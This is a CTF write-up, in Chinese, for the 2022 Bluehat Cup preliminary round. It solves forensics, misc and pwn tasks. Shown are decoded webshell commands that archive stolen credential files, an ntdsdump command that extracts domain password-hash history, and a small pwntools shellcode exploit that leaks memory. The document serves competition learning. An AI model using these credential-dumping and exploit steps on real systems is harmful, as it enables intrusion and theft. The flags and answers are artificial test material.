第六届“蓝帽杯”全国大学生网络安全技能大赛-初赛Writeup

2022-7-9 CTFWriteupMiscPwn取证bluehat2022

全国63名,南部赛区第6名,可算没白白早起,靠AK取证题上分


# Misc

# domainhacker

公司安全部门,在流量设备中发现了疑似黑客入侵的痕迹,用户似乎获取了机器的hash,你能通过分析流量,找到机器的hash吗?flag格式:flag{hash_of_machine}

用wireshark打开后,有不少文件,其中包括rar文件,下载下来发现需要密码,直接搜rar

将请求包进行url解码和格式化

<?php
$q8fb9d4c082c11 = "YNY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBTZWNyZXRzUGFzc3cwcmRzIDEucmFyIDEudHh0JmVjaG8gZWZhOTIzYmE1MDQmY2QmZWNobyAxYTRiZTg4MTVlZjg=";
$s=base64_decode(substr($q8fb9d4c082c11,2));
echo $s;
1
2
3
4
cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8
1

所以密码为

SecretsPassw0rds
1

解压即可拿到hash

flag{416f89c3a5deb1d398a1a1fce93862a7}
1

# domainhacker2

公司安全部门今日发现,有一台域控主机疑似被攻陷,并且很有可能黑客已经掌握了所有域用户的hash,你能分析流量,给出域管理员administrator的上一次的密码hash吗?flag格式:flag{hash of the ntlm hash}

和上一题一样的方法,拿到压缩包和密码

<?php
$eaf06745bcdc2e = "suY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBGYWtlUGFzc3dvcmQxMjMkIG50ZHMucmFyIG5ldyZlY2hvIDFkMzYzMiZjZCZlY2hvIDc4YmM0NjJhYg==";
$s=base64_decode(substr($eaf06745bcdc2e,2));
echo $s;
1
2
3
4
cd /d "c:\\Windows\\Temp"&rar.exe a -PFakePassword123$ ntds.rar new&echo 1d3632&cd&echo 78bc462ab
1

参考这篇文章:关于系统密码抓取 - 走看看 (zoukankan.com) (opens new window)

利用ntdsdump获取历史密码

ntdsdump.exe -f ntds.dit -s SYSTEM -h
1

所以flag为

flag{07ab403ab740c1540c378b0f5aaa4087}
1

# Pwn

# EscapeShellcode

简单又困难的题,初步思想是利用fs一步步泄露出libc到stack addr再到process addr可惜了远程版本怎么都对不上,后面经过多次调试发现fs寄存器附近存在process 相关地址 值手算下偏移就可以找到flag了

exp

from pwn import *
context(arch="amd64",os="linux",log_level='debug')
r=process('./escape_shellcode')
gdb.attach(r)

shellcode=asm('mov rsp,fs:[0x300]')
shellcode+=asm('mov rsi,[rsp+0x10]')
shellcode+=asm('add rsi,0x2f80')
shellcode+=asm('mov rdi,1')
shellcode+=asm('mov rdx,0x100')
shellcode+=asm('mov rax,1')
shellcode+=asm('syscall')
r.send(shellcode)
r.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 手机取证

# 手机取证_1

现对一个苹果手机进行取证,请您对以下问题进行分析解答。

627604C2-C586-48C1-AA16-FF33C3022159.PNG图片的分辨率是?(答案参考格式:1920x1080)

直接搜627604C2-C586-48C1-AA16-FF33C3022159.PNG,保存下来后查看图片详细信息即可

360x360
1

# 手机取证_2

姜总的快递单号是多少?(答案参考格式:abcABC123)

直接搜单号,找到聊天记录

SF1142358694796
1

# 计算机取证

# 计算机取证_1

现对一个windows计算机进行取证,请您对以下问题进行分析解答。

从内存镜像中获得taqi7的开机密码是多少?(答案参考格式:abcABC123)

Passware Kit一把梭

anxinqi
1

# 计算机取证_2

制作该内存镜像的进程Pid号是多少?(答案参考格式:1024)

查看镜像信息

.\volatility.exe -f .\1.dmp imageinfo
1

得到系统为Win7SP1x64

获取进程信息

.\volatility.exe -f .\1.dmp --profile=Win7SP1x64 pslist
1

其中2192就是Magnet RAM Capture的进程号

2192
1

# 计算机取证_3

bitlokcer分区某office文件中存在的flag值为?(答案参考格式:flag{abcABC123})

用DiskGenius打开1.dmp,在taqi7的桌面找到BitLocker恢复密钥的文件

用X-Ways Forensics打开G.E01,将镜像文件转换为磁盘,然后导出

再用DiskGenius解锁磁盘文件,将这些文件复制到本地

用pass.txt作字典文件,对PPT文件进行字典攻击,得到密码

287fuweiuhfiute
1

解压即可得到flag

flag{b27867b66866866686866883bb43536}
1

# 计算机取证_4

TrueCrypt加密中存在的flag值为?(答案参考格式:flag{abcABC123})

扫描内存文件

.\volatility.exe -f .\1.dmp --profile=Win7SP1x64 filescan > filescan.txt
1

在其中找到zip文件

Advanced Archive Password Recovery直接爆破压缩包,密码为991314

解压得到flag

flag{1349934913913991394cacacacacacc}
1

# 程序分析

# 程序分析_1

现已获取某个APP程序,请您对以下问题进行分析解答。

本程序包名是?(答案参考格式:abc.xx.de)

jadx直接打开apk文件,找到AndroidManifest.xml文件

exec.azj.kny.d.c
1

# 程序分析_2

本程序的入口是?(答案参考格式:abc.xx.de)

在AndroidManifest.xml文件中找到程序入口

minmtta.hemjcbm.ahibyws.MainActivity
1

# 程序分析_3

本程序的服务器地址的密文是?(答案参考格式:abcABC123)

在程序入口可以看到

aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6
1

# 程序分析_4

本程序实现安全检测的类的名称是?(答案参考格式:abcABC123)

apk跑不起来,弹窗

当前设备不受信任,请注意资金安全
1

用jadx打开apk,找到这句话的位置

调用了a类,类的名称即为答案

a
1

# 网站取证

# 网站取证_1

据了解,某网上商城系一团伙日常资金往来用,从2022年4月1日起使用虚拟币GG币进行交易,现已获得该网站的源代码以及部分数据库备份文件,请您对以下问题进行分析解答。

请从网站源码中找出木马文件,并提交木马连接的密码。(答案参考格式:abcABC123)

直接火绒扫一下网站,发现木马

lanmaobei666
1

# 网站取证_2

请提交数据库连接的明文密码。(答案参考格式:abcABC123)

跑一下encrypt.php,出密码

<?php
function my_encrypt(){
    $str = 'P3LMJ4uCbkFJ/RarywrCvA==';
    $str = str_replace(array("/r/n", "/r", "/n"), "", $str);
    $key = 'PanGuShi';
    $iv = substr(sha1($key),0,16);
    $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,"",MCRYPT_MODE_CBC,"");
    mcrypt_generic_init($td, "PanGuShi", $iv);
    $decode = base64_decode($str);
    $dencrypted = mdecrypt_generic($td, $decode);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    $dencrypted = trim($dencrypted);
    return $dencrypted;
}
var_dump(my_encrypt());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
KBLT123
1

# 网站取证_3

请提交数据库金额加密混淆使用的盐值。(答案参考格式:abcABC123)

jyzg123456
1

# 网站取证_4

请计算张宝在北京时间2022-04-02 00:00:00-2022-04-18 23:59:59累计转账给王子豪多少RMB?(换算比例请从数据库中获取,答案参考格式:123.45)

对数据进行解密

<?php
function decrypt($data, $key = 'jyzg123456')
{
    $key = md5($key);
    $x = 0;
    $data = base64_decode($data);
    $len = strlen($data);
    $l = strlen($key);
    $char = '';
    $str = '';
    for ($i = 0; $i < $len; $i++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= substr($key, $x, 1);
        $x++;
    }
    for ($i = 0; $i < $len; $i++) {
        if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
        } else {
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
        }
    }
    return $str;
}

$data = ['mZVymm9t', 'lpxqlXFo', 'l5xummto', 'm5Zwm3Bn', 'nJhtlGlm', 'm5tpmGtm', 'm5ptnGtu', 'mZlym25r', 'm5hpnHBu', 'm5prlm9u', 'nJlyl2hu', 'lptummhs', 'lpxrl21n', 'mZRpnHBs', 'mZpxm2lr', 'm5dtmGls', 'mpxvlnBv', 'mJpynHBt', 'nJZwm2lu', 'mpdtnWxq', 'nJdtlmpr', 'mZtymHBm', 'nJlslmpp', 'l5RunW1p', 'nJxplXFm', 'lZdpmm1s', 'mZZwnW9u', 'mJVrmmhp', 'lZZwl3Bs', 'm5xvm2hm', 'mpZslmpm', 'mZtrnGtp', 'lp1rm21t', 'nJxplmtp', 'l5twlXFq', 'lphqmm9s', 'm51wmG1q', 'mJlxlWto', 'lJ1vmXFq', 'mpVpmW5r', 'm5lrlGpr', 'mpxplm9u', 'lZpxnHFn', 'nJdymWpm', 'mJpum3Fo', 'lpRrmWto', 'lZtunXBv', 'lpprnWtt', 'lJdslnBr', 'lJZrnWpm', 'l5Zrm21m', 'lJdul2hm', 'mphylG9q', 'lZhpm2pp', 'lZ1qnW1s', 'nJ1tlHFp', 'mZxqm2tp', 'mZdsm21t', 'mpRvlG9o', 'mJVqlmhv', 'mJRwlHBq', 'l5dtmWtt', 'mZdylHFt', 'l5RqlWxn', 'mZ1um3Fs', 'lJ1rnWhu', 'm5pulWhv', 'lptrnW1u', 'm5xynWxn', 'lpRynGtr', 'mpxulGlm', 'nJdslm9r', 'lJhslHBq', 'nJpwnWhu', 'mptql2tv', 'l51xmmlp', 'mZVymXFn', 'lJhqnW5q', 'm5ppmGpr', 'mZlqm21t', 'mpZslWxt', 'mJ1pnHFm', 'l5drlXBp', 'mJlvmW1u', 'mZtxlG5t', 'nJtsnHFn', 'l5Rvm29o', 'm5xvlWxv', 'm5Zrl2xm', 'mZlwlG1u', 'nJpvlWtr', 'mJxym25s', 'lpVqnWxv', 'mZVvl3Fq', 'lZVtlW5m', 'lZRqlGhn', 'nJxqm2hn', 'nJVtl21s', 'lJdumWlq', 'mJtxmGtp', 'mZxsnHFv', 'lpdtl2xn', 'mphqlm5p', 'lJdxlGpn', 'lpVvlHFu', 'lJhvmHBn', 'l5xunGtv', 'lZRul2pt', 'mpdqnGxu', 'l5Zxlmho', 'lJppmWhq', 'nJVylWpp', 'm5VxnWlr', 'lpdsnGtq', 'mZ1tnGpt', 'mJVqmmtq', 'l5hslWhm', 'lZZtl21r', 'nJlumGlm', 'lJhsmW9t', 'lZZym25s', 'l5tpnHBt', 'nJVunG1q', 'mJdtlHFu', 'mpVtlnFp', 'mplrnG1t', 'mJ1ylHBr', 'nJhynG5m', 'mplymG1r', 'lJtxlGxo', 'lpRxnGlm', 'mZxwnG5s', 'mZptnWpn', 'mJZylGxq', 'mZZvm3Fo', 'lJdxnW9t', 'lZtxmXFv', 'nJxtlXFm', 'mJZumW1r', 'nJ1tmG1p', 'mplslmpu', 'lJZxlG5p', 'nJtxmXBq', 'lZdxmmtq', 'lJdrlG1o', 'mpZtmmlm', 'mJVxnGpm', 'mJVwmWxu', 'mplslWps'];

for ($i=0; $i < 149; $i++) { 
    echo decrypt($data[$i]) . ", ";
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
619677, 381192, 485632, 827781, 944010, 870430, 864838, 659765, 840888, 862278, 959308, 375606, 382351, 600886, 668715, 834416, 786289, 569887, 927718, 734944, 934225, 679480, 953223, 405953, 980190, 230656, 627978, 512603, 227386, 886700, 723220, 672833, 392757, 980233, 477194, 341676, 897454, 558132, 196594, 710565, 852025, 780278, 268891, 939520, 565792, 302532, 275989, 362937, 133285, 122920, 422750, 135300, 749074, 240723, 291956, 994093, 681733, 633757, 706072, 511209, 507084, 434537, 639097, 401141, 695796, 192908, 865109, 372958, 889941, 309835, 785010, 933275, 143084, 967908, 771339, 498613, 619591, 141964, 860425, 651757, 723147, 590890, 432183, 556558, 678067, 973891, 406772, 886149, 822340, 657058, 966135, 589766, 311949, 616394, 214160, 201001, 981701, 914356, 135514, 578433, 683899, 334341, 741263, 138021, 316098, 146481, 485839, 205327, 731848, 428202, 160504, 919123, 818915, 333834, 694827, 511634, 443100, 224355, 955410, 143577, 229766, 470887, 915854, 534098, 714293, 752857, 599085, 949860, 759455, 178042, 308810, 687866, 664921, 529044, 626792, 138977, 278599, 984190, 525555, 994453, 753228, 128063, 978584, 238634, 132052, 724610, 518820, 517548, 753126, 
1

转换汇率并求和

# 汇率
dic = {'02': 0.04, '03': 0.06, '04': 0.05, '05': 0.07, '06': 0.1, '07': 0.15, '08': 0.17, '09': 0.23, '10': 0.22, '11': 0.25, '12': 0.29, '13': 0.2, '14': 0.28, '15': 0.33, '16': 0.35, '17': 0.35, '18': 0.37}

# 日期
lst1 = ['02', '02', '02', '02', '02', '02', '02', '02', '02', '02', '02', '02', '02', '03', '03', '03', '03', '03', '03', '03', '03', '03', '03', '04', '04', '04', '04', '04', '04', '04', '04', '04', '04', '04', '05', '05', '05', '05', '05', '05', '05', '05', '05', '06', '06', '06', '06', '06', '06', '07', '07', '07', '07', '07', '07', '07', '07', '07', '07', '07', '07', '08', '08', '08', '08', '08', '08', '08', '08', '08', '08', '08', '08', '08', '09', '09', '09', '09', '09', '09', '09', '10', '10', '10', '10', '10', '10', '10', '10', '11', '11', '11', '11', '11', '11', '11', '11', '11', '12', '12', '12', '12', '12', '12', '13', '13', '13', '13', '13', '13', '13', '13', '13', '14', '14', '14', '14', '14', '14', '14', '15', '15', '15', '15', '15', '15', '15', '15', '15', '16', '16', '16', '16', '16', '16', '17', '17', '17', '17', '17', '17', '17', '17', '18', '18', '18', '18', '18', '18']

# 金额
lst2 = [619677, 381192, 485632, 827781, 944010, 870430, 864838, 659765, 840888, 862278, 959308, 375606, 382351, 600886, 668715, 834416, 786289, 569887, 927718, 734944, 934225, 679480, 953223, 405953, 980190, 230656, 627978, 512603, 227386, 886700, 723220, 672833, 392757, 980233, 477194, 341676, 897454, 558132, 196594, 710565, 852025, 780278, 268891, 939520, 565792, 302532, 275989, 362937, 133285, 122920, 422750, 135300, 749074, 240723, 291956, 994093, 681733, 633757, 706072, 511209, 507084, 434537, 639097, 401141, 695796, 192908, 865109, 372958, 889941, 309835, 785010, 933275, 143084, 967908, 771339, 498613, 619591, 141964, 860425, 651757, 723147, 590890, 432183, 556558, 678067, 973891, 406772, 886149, 822340, 657058, 966135, 589766, 311949, 616394, 214160, 201001, 981701, 914356, 135514, 578433, 683899, 334341, 741263, 138021, 316098, 146481, 485839, 205327, 731848, 428202, 160504, 919123, 818915, 333834, 694827, 511634, 443100, 224355, 955410, 143577, 229766, 470887, 915854, 534098, 714293, 752857, 599085, 949860, 759455, 178042, 308810, 687866, 664921, 529044, 626792, 138977, 278599, 984190, 525555, 994453, 753228, 128063, 978584, 238634, 132052, 724610, 518820, 517548, 753126]

summ = 0
for i, j in zip(lst1, lst2):
    summ += dic[i] * j
print(summ)
1
2
3
4
5
6
7
8
9
10
11
12
13
15758353.760000002
1

由于是浮点数运算,会有小数的差异,直接忽略即可

15758353.76
1